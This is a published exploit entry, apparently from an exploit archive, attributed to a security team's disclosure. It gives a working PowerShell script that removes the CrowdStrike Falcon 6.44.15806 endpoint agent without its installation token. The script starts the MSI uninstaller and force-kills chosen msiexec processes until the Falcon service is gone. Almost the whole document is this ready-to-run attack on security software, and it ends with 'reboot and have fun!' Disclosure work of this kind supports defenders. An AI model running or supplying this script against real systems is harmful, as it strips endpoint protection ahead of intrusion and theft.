CrowdStrike Falcon AGENT 6.44.15806 - Uninstall without Installation Token Vulnerability

# Exploit Title: CrowdStrike Falcon AGENT  6.44.15806  - Uninstall without Installation Token
# Exploit Author: Walter Oberacher, Raffaele Nacca, Davide Bianchin, Fortunato Lodari, Luca Bernardi (Deda Cloud Cybersecurity Team)
# Vendor Homepage: https://www.crowdstrike.com/
# Author Homepage: https://www.deda.cloud/
# Tested On: All Windows versions
# Version: 6.44.15806
# CVE: Based on CVE-2022-2841; Modified by Deda Cloud Purple Team members, to exploit hotfixed release. Pubblication of of CVE-2022-44721 in progress.
 
 
$InstalledSoftware = Get-ChildItem "HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall"
 
foreach($obj in $InstalledSoftware){
    if ("CrowdStrike Sensor Platform" -eq $obj.GetValue('DisplayName'))
    {
        $uninstall_uuid = $obj.Name.Split("\")[6]
    }
}
 
$g_msiexec_instances = New-Object System.Collections.ArrayList
 
Write-Host "[+] Identified installed Falcon: $uninstall_uuid"
Write-Host "[+] Running uninstaller for Crowdstrike Falcon . . ."
Start-Process "msiexec" -ArgumentList "/X$uninstall_uuid"
 
while($true)
{
        if (get-process -Name "CSFalconService") {
                Get-Process | Where-Object { $_.Name -eq "msiexec" } | ForEach-Object {
                        
                        if (-Not $g_msiexec_instances.contains($_.id)){
                                $g_msiexec_instances.Add($_.id)
                                if (4 -eq $g_msiexec_instances.count -or 5 -eq $g_msiexec_instances.count){
                                        Start-Sleep -Milliseconds 100
                                        Write-Host "[+] Killing PID " + $g_msiexec_instances[-1]
                                        stop-process -Force -Id $g_msiexec_instances[-1]                               
                                }
 
                        }
                
                }
        } else {
                Write-Host "[+] CSFalconService process vanished...reboot and have fun!"
                break
        }
}
 
#  0day.today [2023-04-16]  #